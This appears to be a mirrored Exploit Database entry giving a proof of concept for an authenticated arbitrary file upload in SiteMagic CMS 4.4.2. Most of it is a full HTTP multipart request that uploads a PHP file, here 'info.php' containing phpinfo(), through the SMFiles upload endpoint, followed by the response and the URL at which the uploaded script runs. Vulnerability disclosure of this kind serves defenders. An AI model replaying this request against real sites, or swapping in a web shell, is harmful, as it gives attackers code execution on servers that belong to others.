SiteMagic CMS 4.4.2 – Arbitrary File Upload (Authenticated)

• Exploit Database
• 15 阅读

• 作者： V1n1v131r4
  日期： 2020-09-03
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48788/

• # Exploit Title: SiteMagic CMS 4.4.2 - Arbitrary File Upload (Authenticated)
  # Date: 2020-09-02
  # Exploit Author: v1n1v131r4
  # Vendor Homepage: https://sitemagic.org/
  # Software Link: https://sitemagic.org/Download.html
  # Version: 4.4.2
  # Tested on: Ubuntu 18.04
  # CVE : N/A
  # PoC: https://github.com/V1n1v131r4/Unrestricted-File-Upload-on-SiteMagic-CMS-4.4.2/blob/master/README.md
  
  
  Step 1 - Request
  
  POST /sitemagic/index.php?SMExt=SMFiles&SMTemplateType=Basic&SMExecMode=Dedicated&SMFilesUpload&SMFilesUploadPath=files%2Fimages HTTP/1.1
  Host: example.org
  User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  Accept-Language: pt-BR,en-US;q=0.7,en;q=0.3
  Accept-Encoding: gzip, deflate
  Content-Type: multipart/form-data; boundary=---------------------------144837887339078243581158835832
  Content-Length: 538
  Origin: example.org
  DNT: 1
  Connection: close
  Referer: http://example.org/sitemagic/index.php?SMExt=SMFiles&SMTemplateType=Basic&SMExecMode=Dedicated&SMFilesUpload&SMFilesUploadPath=files%2Fimages
  Cookie: timezone=America/Argentina/Buenos_Aires; cookieconsent_status=dismiss; SMSESSION407f70d0a9400582=f93d614ad0046ec76e41f3613d97da59
  Upgrade-Insecure-Requests: 1
  
  -----------------------------144837887339078243581158835832
  Content-Disposition: form-data; name="SMInputSMFilesUpload"; filename="info.php"
  Content-Type: application/x-php
  
  <?php phpinfo(); ?>
  
  -----------------------------144837887339078243581158835832
  Content-Disposition: form-data; name="SMPostBackControl"
  
  
  -----------------------------144837887339078243581158835832
  Content-Disposition: form-data; name="SMRequestToken"
  
  f9f116f33c012ce5e67f52dffc7e6bc6
  -----------------------------144837887339078243581158835832--
  
  
  
  
  Step 2 - Response
  
  Status 200 OK
  Version HTTP/1.1
  Transferred 26,20 KB (25,80 KB size)
  Referrer Policy no-referrer-when-downgrade
  
  
  
  
  Step 3 - Read file uploaded
  
  http://example.org/sitemagic/files/images/info.php